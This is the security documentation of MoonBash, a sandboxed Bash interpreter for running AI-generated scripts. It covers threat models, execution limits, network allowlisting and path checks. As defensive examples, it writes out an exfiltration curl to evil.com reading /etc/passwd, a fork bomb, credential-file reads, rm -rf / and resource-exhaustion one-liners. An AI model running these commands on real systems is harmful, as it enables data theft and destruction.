Skip to content

Security: Haoxincode/MoonBash

Security

docs/SECURITY.md

MoonBash Security Model

1. Threat Model

MoonBash is designed to safely execute untrusted Bash scripts generated by AI models (LLMs). The primary threats are:

Status note (as of 2026-02-19): default security path assumes pure in-memory VFS plus wrapper-level AgentFS integration. OverlayFs examples are legacy reference scenarios.

Threat Description Severity
Filesystem Escape Script accesses/modifies host filesystem Critical
Network Exfiltration Script sends data to unauthorized endpoints Critical
Denial of Service Script consumes excessive CPU/memory High
ReDoS Regex causes catastrophic backtracking High
Prototype Pollution JS object prototype manipulation Medium
Code Injection Script breaks out of interpreter sandbox Critical
Resource Exhaustion Infinite loops, unbounded recursion, fork bombs High

2. Defense Layers

MoonBash employs a layered security architecture:

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  Layer 4: Defense-in-Depth              β”‚
β”‚  (JS global monkey-patching)            β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚  Layer 3: Execution Limits              β”‚
β”‚  (CPU/memory/recursion bounds)          β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚  Layer 2: Parser Limits                 β”‚
β”‚  (input size/token/depth bounds)        β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚  Layer 1: Architecture                  β”‚
β”‚  (VFS, no system calls, pure memory)    β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

3. Layer 1: Architectural Security

The strongest security guarantee comes from the architecture itself.

No System Calls

MoonBash is a pure interpreter. It never:

  • Spawns child processes (child_process)
  • Makes system calls (execve, fork)
  • Accesses raw memory (mmap, shmget)
  • Opens real file descriptors

All "I/O" goes through the VFS abstraction, which is pure in-memory by default.

Virtual Filesystem Isolation

Script executes: rm -rf /
                    β”‚
                    β–Ό
           InMemoryFs.rm("/", recursive=true)
                    β”‚
                    β–Ό
         HashMap entries cleared (memory only)
                    β”‚
                    β–Ό
         Host filesystem: UNAFFECTED

Network Disabled by Default

Network access is opt-in and requires explicit URL prefix allowlisting:

// Network completely disabled (default)
const bash = new Bash();

// Network enabled with strict allowlist
const bash = new Bash({
  network: {
    allowedUrlPrefixes: ["https://api.example.com/v1/"],
    allowedMethods: ["GET"],
  }
});

No Binary Execution

Commands like bash and sh re-enter the MoonBash interpreter, not the system shell. There is no path to execute arbitrary binaries.

4. Layer 2: Parser Limits

Prevents malicious input from overwhelming the parser.

Limit Default Purpose
MAX_INPUT_SIZE 10 MB Prevents memory exhaustion from huge scripts
MAX_TOKENS 100,000 Prevents token explosion (e.g., deeply nested braces)
MAX_PARSE_ITERATIONS 100,000 Prevents parser infinite loops
MAX_PARSER_DEPTH 100 Prevents stack overflow from deep nesting

Parser Limit Enforcement (MoonBit)

fn parse(input : String) -> Script!ParseError {
  // Size check
  if input.length() > MAX_INPUT_SIZE {
    raise ParseError::InputTooLarge(input.length())
  }

  let tokens = tokenize(input)

  // Token count check
  if tokens.length() > MAX_TOKENS {
    raise ParseError::TooManyTokens(tokens.length())
  }

  // Recursive descent with depth tracking
  let parser = Parser::new(tokens, max_depth=MAX_PARSER_DEPTH)
  parser.parse_script()
}

5. Layer 3: Execution Limits

Prevents runaway execution from consuming unbounded resources.

Limit Default Attack Prevented
maxCallDepth 100 f() { f; }; f (infinite recursion)
maxCommandCount 10,000 Extremely long scripts
maxLoopIterations 10,000 while true; do :; done
maxAwkIterations 10,000 AWK infinite loops
maxSedIterations 10,000 SED branch loops
maxJqIterations 10,000 JQ recursive descent
maxStringLength 10 MB x=$x$x$x... (exponential growth)
maxArrayElements 100,000 Array memory exhaustion
maxHeredocSize 10 MB Huge heredoc content
maxSubstitutionDepth 50 $($($($(...))))) nesting
maxGlobOperations 100,000 /**/**/**/* filesystem storm

Limit Enforcement Pattern

fn execute_for_loop(clause : ForClause, ctx : ExecContext) -> ExecResult!ExecError {
  let words = expand_words(clause.words, ctx)
  let mut iterations = 0

  for word in words {
    iterations += 1
    if iterations > ctx.limits.max_loop_iterations {
      raise ExecError::LimitExceeded(
        "Loop iteration limit exceeded (\{ctx.limits.max_loop_iterations})"
      )
    }

    ctx.env.set(clause.var_name, word)
    let result = execute_script(clause.body, ctx)

    if ctx.break_count > 0 {
      ctx.break_count -= 1
      break
    }
    if ctx.continue_count > 0 {
      ctx.continue_count -= 1
      continue
    }
  }

  ExecResult::ok("")
}

Fork Bomb Protection

Input:  :(){ :|:& };:
        (classic fork bomb)

MoonBash behavior:
  1. Function ":" defined βœ“
  2. First call to ":" β†’ command_count += 1
  3. Pipe creates two more calls β†’ command_count += 2
  4. Background (&) is a no-op (no real processes)
  5. Recursion hits maxCallDepth (100) β†’ ERROR
  6. Even if depth were unlimited, maxCommandCount (10000) stops it

Result: ERROR - "Execution limit exceeded"
Host:   UNAFFECTED

6. Layer 4: Defense-in-Depth

Optional secondary protection that monkey-patches dangerous JavaScript globals during MoonBash execution.

Why Secondary?

Defense-in-depth is not the primary security mechanism. It exists as an additional barrier in case of interpreter bugs that might allow JavaScript injection. The primary security comes from the architecture (Layer 1).

Blocked Globals

Global Risk
Function constructor Arbitrary code execution
eval Arbitrary code execution
setTimeout/setInterval Escape execution context
AsyncFunction constructor Async code execution
GeneratorFunction constructor Generator-based escape
WeakRef/FinalizationRegistry GC-based side channels
Reflect Meta-programming escape
Proxy Object interception
process.env Environment variable leak
process.binding Native module access
require/import Module loading escape
WebAssembly WASM-based escape
SharedArrayBuffer Shared memory side channel
Atomics Thread synchronization

Configuration

// Enable (default when not specified)
const bash = new Bash({ defenseInDepth: true });

// Disable
const bash = new Bash({ defenseInDepth: false });

// Custom configuration
const bash = new Bash({
  defenseInDepth: {
    enabled: true,
    auditMode: false,  // true = log but don't block
    onViolation: (v) => console.warn(`Security: ${v.type} - ${v.message}`),
    excludeViolationTypes: ["webassembly"],  // Allow specific types
  }
});

Implementation Note

Defense-in-depth runs in the TypeScript wrapper layer (not in MoonBit) because it operates on JavaScript runtime globals.

7. ReDoS Protection

The Threat

Regular Expression Denial of Service (ReDoS) occurs when a crafted input causes exponential backtracking in regex engines:

Pattern: (a+)+$
Input:   "aaaaaaaaaaaaaaaaaaaaaaaaaaaaX"
Result:  JavaScript RegExp hangs for minutes/hours

AI-generated commands like grep, sed, and awk frequently include regex patterns. If an LLM hallucinates a vulnerable pattern, it could freeze the entire sandbox.

MoonBash Solution

MoonBash uses the @moonbitlang/regexp library, which implements a VM-based regex engine (similar to RE2). This engine:

  1. Guarantees linear time - O(n * m) where n = input length, m = pattern size
  2. No backtracking - Uses NFA simulation instead of recursive backtracking
  3. Bounded memory - State machine size is proportional to pattern complexity
// Safe by construction - no catastrophic backtracking possible
let pattern = @regexp.compile("(a+)+$")!
let result = pattern.matches("aaaaaaaaaaaaaaaaaaaaaaX")
// Returns false immediately, no hang

Fallback to JS RegExp

For features not supported by the VM-based engine (backreferences, lookahead), MoonBash falls back to JavaScript's native RegExp via FFI with a timeout wrapper:

extern "js" fn js_regex_match_with_timeout(
  pattern : String,
  input : String,
  timeout_ms : Int
) -> String  // JSON result or "TIMEOUT"

8. Network Security

URL Validation

Request: curl https://evil.com/steal?data=$(cat /etc/passwd)

Validation:
  1. Expand command substitution β†’ get file from VFS (not real /etc/passwd)
  2. Check URL against allowedUrlPrefixes
  3. "https://evil.com/" not in allowed list β†’ BLOCKED

Result: "curl: (7) URL not allowed by network policy"

Request Controls

Control Default Description
URL prefix allowlist [] (none) Strict origin + path matching
HTTP method allowlist ["GET", "HEAD"] Only safe methods
Max redirects 20 Prevent redirect loops
Timeout 30,000 ms Prevent hanging requests
Max response size 10 MB Prevent memory exhaustion
Redirect validation Yes Each redirect target checked against allowlist

9. Path Security

Path Traversal Prevention

Input:  cat ../../../../etc/shadow
               β”‚
               β–Ό
        Path normalize: /etc/shadow
               β”‚
               β–Ό
        InMemoryFs lookup: NOT FOUND
        (VFS has no /etc/shadow)

Input (legacy OverlayFs mode): cat ../../../etc/shadow
               β”‚
               β–Ό
        Resolve against mount point
        /home/user/project/../../../etc/shadow
               β”‚
               β–Ό
        Normalize: /etc/shadow
               β”‚
               β–Ό
        Check: /etc/shadow starts with /real/project/root?
               β”‚
               β–Ό
        NO β†’ BLOCKED: "Permission denied"

Null Byte Injection Prevention

Input:  cat "file.txt\x00.jpg"
               β”‚
               β–Ό
        Path validation: null byte detected
               β”‚
               β–Ό
        ERROR: "Invalid path: contains null byte"

10. Security Testing Strategy

Fuzz Testing

1. Generate random/malicious bash scripts
2. Execute in MoonBash
3. Verify:
   - No uncaught exceptions
   - Execution completes within limits
   - No host filesystem access
   - No network access (unless configured)
   - Memory stays bounded

Attack Vectors to Test

# Fork bomb
:(){ :|:& };:

# Zip bomb equivalent
yes | head -c 1000000000

# Path traversal
cat ../../../../etc/passwd
cat /proc/self/environ

# Command injection
echo "$(rm -rf /)"
echo `cat /etc/shadow`

# Regex DoS
grep -E '(a+)+$' <<< "aaaaaaaaaaaaaaaaaaaaaaaX"

# Resource exhaustion
seq 1 999999999
{1..999999999}
printf '%0999999999d' 1

# Prototype pollution (via env vars)
export __proto__='{"isAdmin":true}'
export constructor='{"prototype":{"isAdmin":true}}'

# Variable explosion
x=a; while true; do x=$x$x; done

All of these must terminate safely with an appropriate error, and the host system must remain unaffected.

There aren’t any published security advisories